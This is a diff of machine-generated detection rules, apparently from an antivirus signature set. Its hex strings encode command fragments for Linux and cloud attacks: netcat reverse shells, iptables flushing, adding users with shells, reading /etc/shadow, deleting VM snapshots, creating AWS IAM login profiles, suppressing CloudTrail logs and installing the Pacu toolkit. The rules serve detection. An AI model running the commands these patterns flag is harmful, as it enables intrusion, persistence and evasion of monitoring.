+ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*5+(#a_00_2 & 1)*5+(#a_8e_3 & 1)*0) >=25 + +} +rule _InfrastructureShared_27495{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 02 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 43 6c 6f 75 64 70 65 61 73 73 2e 41 00 01 00 12 00 67 00 69 00 74 00 20 00 63 00 6c 00 6f 00 6e 00 65 00 0a 00 4a 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 } //21283 + $a_00_1 = {72 00 6c 00 6f 00 73 00 70 00 6f 00 6c 00 6f 00 70 00 2f 00 63 00 6c 00 6f 00 75 00 64 00 70 00 65 00 61 00 73 00 73 00 2e 00 67 00 69 00 74 00 00 00 d7 91 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 55 6e 69 78 52 65 53 68 65 6c 6c 43 } //99 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*99) >=11 + +} +rule _InfrastructureShared_27496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 04 00 21 " @@ -341735,21 +359920,7 @@ rule _InfrastructureShared_26108{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-50+(#a_00_2 & 1)*-50+(#a_00_3 & 1)*-50) >=10 } -rule _InfrastructureShared_26109{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 06 00 21 " - - strings : - $a_46_0 = {48 61 63 6b 74 6f 6f 6c 3a 4c 69 6e 75 78 2f 43 6f 69 6e 4d 69 6e 65 72 45 78 65 63 2e 41 00 02 00 08 00 73 00 65 00 64 00 20 00 02 00 0e 00 2e 00 62 00 61 00 73 00 68 00 67 00 6f 00 02 00 12 00 7c 00 70 00 61 00 73 00 74 00 65 } //21283 - $a_00_2 = {0c 00 } //110 - $a_00_3 = {6e 00 69 00 6f 00 6e 00 02 00 0e 00 7c 00 62 00 70 00 72 00 6f 00 66 00 72 00 02 00 0e 00 7c 00 70 00 79 00 74 00 68 00 6f 00 6e 00 00 00 d7 97 00 00 28 00 28 00 04 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 56 69 72 73 68 53 6e 61 70 73 68 6f 74 44 65 6c 65 74 65 2e 41 00 0a 00 0a 00 76 00 69 00 72 00 73 00 } //124 - $a_00_4 = {1e 00 73 00 6e 00 61 00 70 00 } //104 - $a_00_5 = {6f 00 74 00 2d 00 64 00 65 00 6c 00 65 00 74 00 65 00 0a 00 10 00 2d 00 2d 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 0a 00 1c 00 2d 00 2d 00 73 00 6e 00 61 00 70 00 73 00 68 00 6f 00 74 00 6e 00 61 00 6d 00 65 00 00 00 d7 97 00 00 32 00 32 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 49 70 54 } //115 - condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110+(#a_00_3 & 1)*124+(#a_00_4 & 1)*104+(#a_00_5 & 1)*115) >=12 - -} -rule _InfrastructureShared_26110{ +rule _InfrastructureShared_27497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,28 00 28 00 04 00 21 " @@ -341761,20 +359932,43 @@ rule _InfrastructureShared_26110{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*116+(#a_00_3 & 1)*104) >=40 } -rule _InfrastructureShared_26111{ +rule _InfrastructureShared_27498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,32 00 32 00 05 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 49 70 54 61 62 6c 65 73 54 61 6d 70 65 72 2e 43 31 00 0a 00 12 00 69 00 70 00 74 00 61 00 62 00 6c 00 65 00 73 00 20 00 0a 00 16 01 20 00 2d 00 44 00 20 00 4f 00 55 00 } //21539 - $a_00_1 = {55 00 54 00 20 00 0a 00 10 01 20 00 2d 00 70 00 20 00 74 00 63 00 70 00 20 00 0a 00 10 01 2d 00 2d 00 64 00 70 00 6f 00 72 00 74 00 20 00 0a 00 0e 01 2d 00 6a 00 20 00 44 00 52 00 4f 00 50 00 00 00 d7 a1 00 00 15 00 15 00 06 00 21 23 53 4c } //84 - $a_61_2 = {6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 55 73 65 72 41 64 64 69 74 69 6f 6e 2e 41 00 01 00 10 00 75 00 73 00 65 00 72 00 61 00 64 00 64 00 20 00 01 00 10 00 61 00 64 00 64 00 75 00 73 00 65 00 72 00 20 00 0a } //14918 - $a_2d_3 = {4d } //1024 M + $a_00_1 = {55 00 54 00 20 00 0a 00 10 01 20 00 2d 00 70 00 20 00 74 00 63 00 70 00 20 00 0a 00 10 01 2d 00 2d 00 64 00 70 00 6f 00 72 00 74 00 20 00 0a 00 0e 01 2d 00 6a 00 20 00 44 00 52 00 4f 00 50 00 00 00 d7 9f 00 00 0a 00 0a 00 02 00 21 23 53 4c } //84 + $a_61_2 = {6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 69 63 69 6f 75 73 53 65 72 76 69 63 65 2e 41 00 0a 00 34 00 73 00 79 00 73 00 74 00 65 00 6d 00 63 00 74 00 6c 00 20 00 65 00 6e 00 61 00 62 00 6c 00 65 00 20 00 53 00 } //14918 + $a_00_3 = {65 00 72 00 76 00 69 00 63 00 65 00 0a 00 32 00 73 00 79 00 73 00 74 00 65 00 6d 00 63 00 74 00 6c 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 53 00 42 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 00 00 d7 a0 00 00 0b 00 0b 00 03 00 21 23 53 4c 46 } //66 + $a_63_4 = {54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 43 72 65 61 74 65 4c 6f 67 69 6e 50 72 6f 66 69 6c 65 2e 41 00 06 00 3c 02 61 00 77 00 73 00 90 02 30 69 00 61 00 6d 00 90 02 30 63 00 72 00 65 00 61 00 74 00 65 00 2d 00 6c 00 6f 00 67 00 69 00 6e 00 2d 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 } //18490 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*84+(#a_61_2 & 1)*14918+(#a_2d_3 & 1)*1024) >=50 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*84+(#a_61_2 & 1)*14918+(#a_00_3 & 1)*66+(#a_63_4 & 1)*18490) >=50 } -rule _InfrastructureShared_26112{ +rule _InfrastructureShared_27499{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 69 63 69 6f 75 73 53 65 72 76 69 63 65 2e 41 00 0a 00 34 00 73 00 79 00 73 00 74 00 65 00 6d 00 63 00 74 00 6c 00 20 00 65 00 6e 00 61 00 62 00 6c 00 65 00 20 00 53 00 42 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=10 + +} +rule _InfrastructureShared_27500{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 43 72 65 61 74 65 4c 6f 67 69 6e 50 72 6f 66 69 6c 65 2e 41 00 06 00 3c 02 61 00 77 00 73 00 90 02 30 69 00 61 00 6d 00 90 02 30 63 00 72 00 65 00 61 00 74 00 65 00 2d 00 } //21283 + $a_00_1 = {67 00 69 00 6e 00 2d 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 90 00 03 00 12 01 75 00 73 00 65 00 72 00 2d 00 6e 00 61 00 6d 00 65 00 03 00 10 01 70 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 00 00 d7 a1 00 00 15 00 15 00 06 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 55 73 65 72 41 64 64 69 } //108 + $a_6e_2 = {41 00 01 00 10 00 75 00 73 00 65 00 72 00 61 00 64 00 64 00 20 00 01 00 10 00 61 00 64 00 64 00 75 00 73 00 65 00 72 00 20 00 0a 00 04 01 2d 00 4d 00 0a 00 19 02 2d 00 73 00 20 00 2f 00 62 00 69 00 6e 00 2f 00 90 02 04 73 00 68 00 90 00 f6 ff 10 00 70 00 6f 00 73 00 74 00 67 00 72 00 65 00 73 00 f6 ff 0c 00 67 00 69 00 74 00 6c 00 } //26996 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*108+(#a_6e_2 & 1)*26996) >=11 + +} +rule _InfrastructureShared_27501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 06 00 21 " @@ -341783,50 +359977,59 @@ rule _InfrastructureShared_26112{ $a_00_1 = {4d 00 0a 00 19 02 2d 00 73 00 20 00 2f 00 62 00 69 00 6e 00 2f 00 90 02 04 73 00 68 00 90 00 f6 ff 10 00 70 00 6f 00 73 00 74 00 67 00 } //260 $a_00_2 = {73 00 f6 ff 0c 00 67 00 69 00 74 00 6c 00 61 00 62 00 00 00 d7 a3 00 00 10 00 10 00 07 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 55 6e 69 78 52 65 53 68 65 6c 6c 43 6d 64 2e 48 00 05 00 06 00 6e 00 63 00 20 00 01 00 04 00 2d 00 65 00 01 00 06 00 2d 00 63 00 20 00 0a } //114 $a_2f_3 = {62 00 } //4864 b - $a_00_4 = {2f 00 90 02 04 73 00 68 00 90 00 ce ff 12 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 ce ff 12 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 ce ff 0e 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 30 00 00 00 d7 ad 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 49 70 54 61 62 6c } //105 - $a_61_5 = {70 65 72 2e 44 31 00 0a 00 16 01 69 00 70 00 74 00 61 00 62 00 6c 00 65 00 73 00 20 00 2d 00 46 00 0a 00 20 01 69 00 70 00 74 00 61 00 62 00 6c 00 65 00 73 00 20 00 2d 00 2d 00 66 00 6c 00 75 00 73 00 68 00 0a 00 18 01 69 00 70 00 36 00 74 00 61 00 62 } //29541 + $a_00_4 = {2f 00 90 02 04 73 00 68 00 90 00 ce ff 12 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 ce ff 12 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 ce ff 0e 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 30 00 00 00 d7 a8 00 00 0b 00 0b 00 03 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 50 61 63 75 } //105 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*260+(#a_00_2 & 1)*114+(#a_2f_3 & 1)*4864+(#a_00_4 & 1)*105+(#a_61_5 & 1)*29541) >=21 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*260+(#a_00_2 & 1)*114+(#a_2f_3 & 1)*4864+(#a_00_4 & 1)*105) >=21 } -rule _InfrastructureShared_26113{ +rule _InfrastructureShared_27502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 07 00 21 " strings : $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 55 6e 69 78 52 65 53 68 65 6c 6c 43 6d 64 2e 48 00 05 00 06 00 6e 00 63 00 20 00 01 00 04 00 2d 00 65 00 01 00 06 00 2d 00 63 00 20 00 0a 00 13 02 2f } //21539 $a_00_2 = {90 02 04 73 00 68 00 90 00 ce ff 12 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 ce ff 12 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 } //110 - $a_00_3 = {74 00 ce ff 0e 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 30 00 00 00 d7 ad 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 49 70 54 61 62 6c 65 73 54 61 6d 70 65 72 2e 44 31 00 0a 00 16 01 69 00 70 00 74 00 61 00 62 00 6c 00 65 00 73 00 20 00 2d 00 46 00 0a 00 20 01 69 00 70 00 74 00 61 00 62 00 6c 00 65 00 73 00 } //111 - $a_00_4 = {2d 00 66 00 6c 00 75 00 73 00 68 00 0a 00 18 01 69 00 70 00 36 00 74 00 61 00 62 00 6c 00 65 00 73 00 20 00 2d 00 46 00 0a 00 22 01 69 } //32 - $a_00_6 = {62 00 6c 00 65 00 73 00 20 00 2d 00 2d 00 66 00 6c 00 75 00 73 00 68 00 00 00 d7 af 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 48 61 63 6b 74 6f 6f 6c 3a 4c 69 6e 75 78 2f 45 6d 62 65 64 64 65 64 50 61 79 6c 6f 61 64 2e 41 00 02 00 08 00 73 00 65 00 64 00 20 00 02 00 24 00 65 00 78 00 65 00 } //116 + $a_00_3 = {74 00 ce ff 0e 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 30 00 00 00 d7 a8 00 00 0b 00 0b 00 03 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 50 61 63 75 2e 42 00 05 00 08 00 70 00 69 00 70 00 78 00 05 00 0e 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 01 00 62 00 67 00 69 00 74 00 2b 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f } //111 + $a_00_5 = {68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 52 00 68 00 69 00 6e 00 6f 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 4c 00 61 00 62 00 73 00 2f 00 70 00 61 00 63 00 75 00 2e 00 67 00 69 00 74 00 00 00 d7 ad 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 49 70 54 61 62 6c 65 73 54 61 6d 70 65 72 2e 44 31 } //105 condition: - ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*110+(#a_00_3 & 1)*111+(#a_00_4 & 1)*32+(#a_00_6 & 1)*116) >=16 + ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*110+(#a_00_3 & 1)*111+(#a_00_5 & 1)*105) >=16 } -rule _InfrastructureShared_26114{ +rule _InfrastructureShared_27503{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 50 61 63 75 2e 42 00 05 00 08 00 70 00 69 00 70 00 78 00 05 00 0e 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 01 00 62 00 67 00 69 00 74 00 2b 00 68 00 74 00 74 00 70 00 73 00 3a 00 } //21283 + $a_00_1 = {67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 52 00 68 00 69 00 6e 00 6f 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 } //47 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*47) >=11 + +} +rule _InfrastructureShared_27504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 04 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 49 70 54 61 62 6c 65 73 54 61 6d 70 65 72 2e 44 31 00 0a 00 16 01 69 00 70 00 74 00 61 00 62 00 6c 00 65 00 73 00 20 00 2d 00 46 00 0a 00 20 01 69 00 70 00 74 00 61 00 } //21539 $a_00_1 = {65 00 73 00 20 00 2d 00 2d 00 66 00 6c 00 75 00 73 00 68 00 0a 00 18 01 69 00 70 00 36 00 74 00 61 00 62 00 6c 00 65 00 73 00 20 00 2d 00 46 00 0a 00 22 01 69 00 70 00 36 00 74 00 61 00 62 00 6c 00 65 00 73 00 20 00 2d 00 2d 00 66 00 6c 00 75 00 73 00 68 00 00 00 d7 af 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 48 61 63 6b } //98 - $a_6c_2 = {4c 69 6e 75 78 2f 45 6d 62 65 64 64 65 64 50 61 79 6c 6f 61 64 2e 41 00 02 00 08 00 73 00 65 00 64 00 20 00 02 00 24 00 65 00 78 00 65 00 31 00 30 00 31 00 5c 00 28 00 2e 00 2a 00 5c 00 29 00 65 00 78 00 65 00 31 00 30 00 31 00 02 00 24 00 65 00 78 00 65 00 31 00 30 00 32 00 5c 00 28 00 2e 00 2a 00 5c 00 29 00 65 00 78 00 65 00 31 } //28532 + $a_6c_2 = {4c 69 6e 75 78 2f 45 6d 62 65 64 64 65 64 50 61 79 6c 6f 61 64 2e 41 00 02 00 08 00 73 00 65 00 64 00 20 00 02 00 24 00 65 00 78 00 65 00 31 00 30 00 31 00 5c 00 28 00 2e 00 2a 00 5c 00 29 00 65 00 78 00 65 00 31 00 30 00 31 00 02 00 24 00 65 00 78 00 65 00 31 00 30 00 32 00 5c 00 28 00 2e 00 2a 00 5c 00 29 00 65 00 78 00 65 00 31 } //28500 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*98+(#a_6c_2 & 1)*28532) >=10 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*98+(#a_6c_2 & 1)*28500) >=10 } -rule _InfrastructureShared_26115{ +rule _InfrastructureShared_27505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " strings : - $a_46_0 = {48 61 63 6b 74 6f 6f 6c 3a 4c 69 6e 75 78 2f 45 6d 62 65 64 64 65 64 50 61 79 6c 6f 61 64 2e 41 00 02 00 08 00 73 00 65 00 64 00 20 00 02 00 24 00 65 00 78 00 65 00 31 00 30 00 31 00 5c 00 28 00 2e 00 2a 00 5c 00 29 00 65 00 78 } //21283 + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 45 6d 62 65 64 64 65 64 50 61 79 6c 6f 61 64 2e 41 00 02 00 08 00 73 00 65 00 64 00 20 00 02 00 24 00 65 00 78 00 65 00 31 00 30 00 31 00 5c 00 28 00 2e 00 2a 00 5c 00 29 00 65 00 78 } //21283 $a_00_2 = {02 00 24 00 65 00 78 00 65 00 31 00 30 00 32 00 5c 00 28 00 2e 00 2a 00 5c 00 29 00 65 00 78 00 65 00 31 00 30 00 32 00 02 00 20 00 73 00 68 00 65 } //48 condition: ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*48) >=4 } -rule _InfrastructureShared_26116{ +rule _InfrastructureShared_27506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 04 00 21 " @@ -341839,7 +360042,7 @@ rule _InfrastructureShared_26116{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_00_2 & 1)*-20+(#a_c1_3 & 1)*0) >=20 } -rule _InfrastructureShared_26117{ +rule _InfrastructureShared_27507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 03 00 21 " @@ -341850,7 +360053,7 @@ rule _InfrastructureShared_26117{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*47) >=10 } -rule _InfrastructureShared_26118{ +rule _InfrastructureShared_27508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 03 00 21 " @@ -341861,7 +360064,7 @@ rule _InfrastructureShared_26118{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*47) >=10 } -rule _InfrastructureShared_26119{ +rule _InfrastructureShared_27509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,5a 00 5a 00 06 00 21 " @@ -341875,7 +360078,7 @@ rule _InfrastructureShared_26119{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_d0_5 & 1)*0) >=90 } -rule _InfrastructureShared_26120{ +rule _InfrastructureShared_27510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 03 00 21 " @@ -341887,7 +360090,7 @@ rule _InfrastructureShared_26120{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_e2_2 & 1)*0) >=100 } -rule _InfrastructureShared_26121{ +rule _InfrastructureShared_27511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 03 00 21 " @@ -341898,7 +360101,7 @@ rule _InfrastructureShared_26121{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100) >=10 } -rule _InfrastructureShared_26122{ +rule _InfrastructureShared_27512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,09 00 09 00 03 00 21 " @@ -341909,34 +360112,73 @@ rule _InfrastructureShared_26122{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*45) >=9 } -rule _InfrastructureShared_26123{ +rule _InfrastructureShared_27513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 08 00 21 " strings : $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 55 73 65 72 47 72 6f 75 70 43 68 61 6e 67 65 43 6d 64 2e 41 00 0a 00 06 00 74 00 65 00 65 00 0a 00 04 00 2d 00 61 00 01 00 16 00 2f 00 65 00 74 00 63 } //21539 $a_00_2 = {73 00 77 00 64 00 01 00 14 00 2f 00 65 00 74 00 63 00 2f 00 67 00 72 00 6f 00 75 00 70 00 01 00 16 00 2f 00 65 00 74 00 63 00 2f 00 73 00 68 00 61 00 64 00 6f 00 77 00 01 00 18 00 2f 00 65 00 74 00 63 00 2f 00 67 00 70 00 61 00 73 00 73 00 77 00 64 00 01 00 18 00 2f 00 65 00 74 00 63 00 2f 00 67 00 73 00 68 00 61 00 64 00 6f 00 77 00 9c ff 1e } //97 - $a_00_4 = {6c 00 6c 00 65 00 6c 00 73 00 2d 00 74 00 6f 00 6f 00 6c 00 73 00 00 00 d7 0a 01 00 0a 00 0a 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4c 69 6e 75 78 41 74 74 61 63 6b 54 6f 6f 6c 73 2e 41 00 0a 00 12 00 73 00 6c 00 6f 00 77 00 6c 00 6f 00 72 00 69 00 73 00 0a 00 16 } //114 - $a_00_6 = {79 00 63 00 68 00 61 00 69 00 6e 00 73 00 0a 00 12 00 20 00 61 00 72 00 6d 00 69 00 74 00 61 00 67 00 65 00 0a 00 2e 00 6c 00 69 00 6e 00 75 00 78 00 2d 00 65 00 78 00 70 00 6c 00 6f 00 69 00 74 00 2d 00 73 00 75 00 67 00 67 00 65 00 73 00 74 00 65 00 72 00 0a 00 24 00 6a 00 64 00 77 00 70 00 2d 00 73 00 68 00 65 00 6c 00 6c 00 69 00 66 00 69 00 65 00 72 00 } //111 - $a_00_7 = {79 00 0a 00 1e 00 6c 00 69 00 62 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 68 00 69 00 64 00 65 00 72 00 0a 00 16 00 6d 00 69 00 6d 00 69 00 70 00 65 00 6e 00 67 00 75 00 69 00 6e 00 00 00 d7 1b 01 00 04 00 04 00 0a 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 53 75 64 6f 41 74 74 65 6d 70 74 2e 41 } //46 + $a_00_4 = {6c 00 6c 00 65 00 6c 00 73 00 2d 00 74 00 6f 00 6f 00 6c 00 73 00 00 00 d7 03 01 00 09 00 09 00 06 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 46 69 6e 67 65 72 70 72 69 6e 74 49 41 4d 41 63 63 6f 75 6e 74 2e 42 00 07 00 0e 00 61 00 77 00 73 00 20 00 69 00 61 00 6d 00 } //114 + $a_00_5 = {67 00 65 00 74 00 2d 00 75 00 73 00 65 00 72 00 } //2 get-user + $a_00_6 = {6c 00 69 00 73 00 74 00 2d 00 67 00 72 00 6f 00 75 00 70 00 73 00 2d 00 66 00 6f 00 72 00 2d 00 75 00 73 00 65 00 72 00 } //1 list-groups-for-user + $a_00_7 = {6c 00 69 00 73 00 74 00 2d 00 61 00 74 00 74 00 61 00 63 00 68 00 65 00 64 00 2d 00 75 00 73 00 65 00 72 00 2d 00 70 00 6f 00 6c 00 69 00 63 00 69 00 65 00 73 00 } //1 list-attached-user-policies condition: - ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*97+(#a_00_4 & 1)*114+(#a_00_6 & 1)*111+(#a_00_7 & 1)*46) >=21 + ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*97+(#a_00_4 & 1)*114+(#a_00_5 & 1)*2+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1) >=21 } -rule _InfrastructureShared_26124{ +rule _InfrastructureShared_27514{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,09 00 09 00 06 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 46 69 6e 67 65 72 70 72 69 6e 74 49 41 4d 41 63 63 6f 75 6e 74 2e 42 00 07 00 0e 00 61 00 77 00 73 00 20 00 69 00 61 00 6d 00 02 00 10 00 67 00 65 00 74 00 2d 00 75 00 73 00 65 00 72 } //21283 + $a_00_2 = {73 00 74 00 2d 00 67 00 72 00 6f 00 75 00 70 00 73 00 2d 00 66 00 6f 00 72 00 2d 00 75 00 73 00 65 00 72 00 01 00 36 00 6c 00 69 00 73 00 74 00 2d 00 61 00 74 00 74 00 61 00 63 00 68 00 65 00 64 00 2d 00 75 00 73 00 65 00 72 00 2d 00 70 00 6f 00 6c 00 69 00 63 00 69 00 65 00 73 00 01 00 24 00 6c 00 69 00 73 00 74 } //108 + $a_00_4 = {72 00 2d 00 70 00 6f 00 6c 00 69 00 63 00 69 00 65 00 73 00 01 00 16 00 2d 00 2d 00 75 00 73 00 65 00 72 00 2d 00 6e 00 61 00 6d 00 65 00 00 00 d7 06 01 00 0c 00 0c 00 06 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 70 70 72 65 73 73 43 6c 6f 75 64 57 61 74 63 68 4c 6f 67 73 } //115 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*108+(#a_00_4 & 1)*115) >=9 + +} +rule _InfrastructureShared_27515{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 06 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 70 70 72 65 73 73 43 6c 6f 75 64 57 61 74 63 68 4c 6f 67 73 2e 41 00 03 00 06 01 61 00 77 00 73 00 03 00 14 00 63 00 6c 00 6f 00 75 00 64 00 74 00 72 00 61 00 69 00 6c 00 03 00 } //21283 + $a_00_1 = {70 00 64 00 61 00 74 00 65 00 2d 00 74 00 72 00 61 00 69 00 6c 00 01 00 40 01 2d 00 2d 00 63 00 6c 00 6f 00 75 00 64 00 2d 00 77 00 61 00 74 00 63 00 68 00 2d 00 6c 00 6f 00 67 00 73 00 2d 00 6c 00 6f 00 67 00 2d 00 67 00 72 00 6f 00 75 00 70 00 2d 00 61 00 72 00 6e 00 01 00 36 01 2d 00 2d 00 63 00 6c 00 6f 00 75 00 64 00 2d 00 77 00 61 00 74 00 63 } //280 + $a_00_3 = {67 00 73 00 2d 00 72 00 6f 00 6c 00 65 00 2d 00 61 00 72 00 6e 00 01 00 10 01 20 00 2d 00 2d 00 6e 00 61 00 6d 00 65 00 20 00 00 00 d7 0a 01 00 0a 00 0a 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4c 69 6e 75 78 41 74 74 61 63 6b 54 6f 6f 6c 73 2e 41 00 0a 00 12 00 73 00 6c 00 6f 00 77 00 6c 00 6f 00 72 00 69 } //108 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*280+(#a_00_3 & 1)*108) >=12 + +} +rule _InfrastructureShared_27516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4c 69 6e 75 78 41 74 74 61 63 6b 54 6f 6f 6c 73 2e 41 00 0a 00 12 00 73 00 6c 00 6f 00 77 00 6c 00 6f 00 72 00 69 00 73 00 0a 00 16 00 70 00 72 00 6f 00 